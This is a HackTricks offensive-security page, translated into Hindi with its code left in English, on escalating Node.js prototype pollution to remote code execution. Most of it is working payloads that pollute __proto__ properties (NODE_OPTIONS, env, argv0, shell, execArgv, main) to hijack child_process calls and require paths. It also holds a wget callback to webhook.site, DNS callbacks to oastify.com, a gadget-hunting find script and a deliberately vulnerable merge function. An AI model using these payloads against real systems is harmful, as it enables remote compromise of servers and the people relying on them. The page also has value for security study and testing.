Prototype Pollution to RCE
Reading time: 20 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Vulnerable Code
कल्पना करें कि एक असली JS कुछ इस तरह के कोड का उपयोग कर रहा है:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE via env vars
PP2RCE का मतलब है Prototype Pollution to RCE (Remote Code Execution).
इस writeup के अनुसार जब एक process को child_process
से किसी विधि (जैसे fork
या spawn
या अन्य) के साथ spawn किया जाता है, तो यह विधि normalizeSpawnArguments
को कॉल करती है जो नए env vars बनाने के लिए एक prototype pollution gadget है:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
कोड की जांच करें, आप देख सकते हैं कि envPairs
को .env
विशेषता को pollute करके poison करना संभव है।
__proto__
को Poison करना
warning
ध्यान दें कि child_process
लाइब्रेरी के normalizeSpawnArguments
फ़ंक्शन के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे प्रक्रिया के लिए एक नया env वेरिएबल सेट किया जा सके, तो आपको बस कुछ भी pollute करने की आवश्यकता होती है।
उदाहरण के लिए, यदि आप __proto__.avar="valuevar"
करते हैं, तो प्रक्रिया एक वेरिएबल के साथ स्पॉन होगी जिसका नाम avar
और मान valuevar
होगा।
हालाँकि, env वेरिएबल को पहला होने के लिए आपको .env
विशेषता को pollute करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल पहला होगा (हमले की अनुमति देता है)।
यही कारण है कि NODE_OPTIONS
निम्नलिखित हमले में .env
के अंदर नहीं है।
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
constructor.prototype
को ज़हर देना
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE env vars + cmdline के माध्यम से
पिछले वाले के समान एक पेलोड कुछ परिवर्तनों के साथ इस लेख में प्रस्तावित किया गया था। मुख्य अंतर हैं:
/proc/self/environ
फ़ाइल के अंदर nodejs payload को संग्रहीत करने के बजाय, यह इसे/proc/self/cmdline
के argv0 के अंदर संग्रहीत करता है।- फिर,
NODE_OPTIONS
के माध्यम से/proc/self/environ
फ़ाइल की आवश्यकता करने के बजाय, यह/proc/self/cmdline
की आवश्यकता करता है।
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
DNS Interaction
निम्नलिखित पेलोड्स का उपयोग करके, हम NODE_OPTIONS env var का दुरुपयोग कर सकते हैं जिसे हमने पहले चर्चा की थी और यह पता कर सकते हैं कि क्या यह DNS इंटरैक्शन के साथ काम करता है:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
या, डोमेन के लिए WAFs से पूछताछ से बचने के लिए:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE vuln child_process functions
इस अनुभाग में हम child_process
से प्रत्येक फ़ंक्शन का विश्लेषण करेंगे ताकि कोड निष्पादित किया जा सके और देखें कि क्या हम उस फ़ंक्शन को कोड निष्पादित करने के लिए मजबूर करने के लिए कोई तकनीक का उपयोग कर सकते हैं:
exec
शोषण
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
// stdin trick - not working
// Not using stdin
// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile
शोषण
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
execFile
के काम करने के लिए यह आवश्यक है कि node को निष्पादित करें ताकि NODE_OPTIONS काम कर सके।
यदि यह node को निष्पादित नहीं कर रहा है, तो आपको यह पता लगाना होगा कि आप पर्यावरण चर के साथ जो कुछ भी निष्पादित हो रहा है, उसकी निष्पादन को कैसे बदल सकते हैं और उन्हें सेट करें।
अन्य तकनीकें इस आवश्यकता के बिना काम करती हैं क्योंकि यह संभव है कि जो निष्पादित होता है उसे प्रोटोटाइप प्रदूषण के माध्यम से संशोधित किया जा सके। (इस मामले में, भले ही आप .shell
को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं करेंगे जो निष्पादित हो रही है)।
fork
शोषण
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")
// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn
शोषण
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
शोषण
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync
शोषण
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync
शोषण
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
स्पॉन को मजबूर करना
पिछले उदाहरणों में आपने देखा कि गेजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो spawn
को कॉल करती है (कुछ निष्पादित करने के लिए उपयोग किए जाने वाले child_process
के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह कोड का हिस्सा था, लेकिन अगर कोड इसे कॉल नहीं कर रहा है तो क्या होगा।
एक आवश्यक फ़ाइल पथ को नियंत्रित करना
इस अन्य लेख में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ require
निष्पादित होगा। उस परिदृश्य में हमलावर को बस सिस्टम के अंदर एक .js
फ़ाइल खोजने की आवश्यकता है जो आयात करते समय एक स्पॉन विधि को निष्पादित करेगी।
आयात करते समय स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- नीचे और फ़ाइलें खोजें
निम्नलिखित सरल स्क्रिप्ट कॉल के लिए child_process को कोई पैडिंग के बिना खोजेगी (फंक्शंस के अंदर कॉल दिखाने से बचने के लिए):
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
पिछले स्क्रिप्ट द्वारा पाए गए दिलचस्प फ़ाइलें
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
- node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
- node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim();
- node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
प्रोटोटाइप प्रदूषण के माध्यम से फ़ाइल पथ सेट करना
warning
पिछली तकनीक की आवश्यकता है कि उपयोगकर्ता उस फ़ाइल का पथ नियंत्रित करे जिसे आवश्यक किया जा रहा है। लेकिन यह हमेशा सच नहीं है।
हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, तो भले ही आप उस पथ को नियंत्रित न करें जिसे आवश्यक किया जा रहा है, आप प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं। इसलिए भले ही कोड की पंक्ति इस तरह हो require("./a_file.js")
या require("bytes")
, यह आपके प्रदूषित पैकेज को आवश्यक करेगा।
इसलिए, यदि आपके प्रोटोटाइप प्रदूषण के बाद एक require निष्पादित किया जाता है और कोई spawn फ़ंक्शन नहीं है, तो यह हमला है:
- सिस्टम के अंदर एक
.js
फ़ाइल खोजें जो जब आवश्यक की जाएगी तोchild_process
का उपयोग करके कुछ निष्पादित करेगी - यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिसे आप हमला कर रहे हैं, तो आप ऐसी फ़ाइल अपलोड कर सकते हैं
.js
फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें जो child_process के साथ कुछ निष्पादित करेगी- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो मनमाने कोड को निष्पादित करने के लिए environ/cmdline को प्रदूषित करें (प्रारंभिक तकनीकों को देखें)
पूर्ण require
यदि किया गया require पूर्ण है (require("bytes")
) और पैकेज में package.json
फ़ाइल में मुख्य नहीं है, तो आप main
विशेषता को प्रदूषित कर सकते हैं और require को एक अलग फ़ाइल निष्पादित करने के लिए बना सकते हैं।
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
सापेक्ष आवश्यकता - 1
यदि एक सापेक्ष पथ को एक निरपेक्ष पथ के बजाय लोड किया जाता है, तो आप नोड को एक अलग पथ लोड करने के लिए मजबूर कर सकते हैं:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
सापेक्ष आवश्यकता - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
सापेक्ष आवश्यकता - 3
पिछले वाले के समान, यह इस लेख में पाया गया।
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
कागज़ में https://arxiv.org/pdf/2207.11171.pdf यह भी संकेत दिया गया है कि vm
पुस्तकालय के कुछ तरीकों से contextExtensions
का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।
हालांकि, पिछले child_process
तरीकों की तरह, इसे नवीनतम संस्करणों में फिक्स किया गया है।
Fixes & Unexpected protections
कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब एक वस्तु का attribute जो एक्सेस किया जा रहा है, undefined है। यदि कोड में उस attribute को set किया गया है, तो आप इसे overwrite नहीं कर पाएंगे।
जून 2022 में इस कमिट से var options
एक kEmptyObject
है, न कि एक {}
। जो प्रोटोटाइप प्रदूषण को options के attributes को RCE प्राप्त करने से प्रभावित होने से रोकता है।
कम से कम v18.4.0 से यह सुरक्षा लागू की गई है, और इसलिए spawn
और spawnSync
exploits जो तरीकों को प्रभावित करते थे, अब काम नहीं करते (यदि कोई options
का उपयोग नहीं किया गया है!)।
इस कमिट में vm पुस्तकालय से contextExtensions
का प्रोटोटाइप प्रदूषण को {}
के बजाय kEmptyObject
पर सेट करके कुछ हद तक फिक्स किया गया था।
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/server-side-prototype-pollution
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।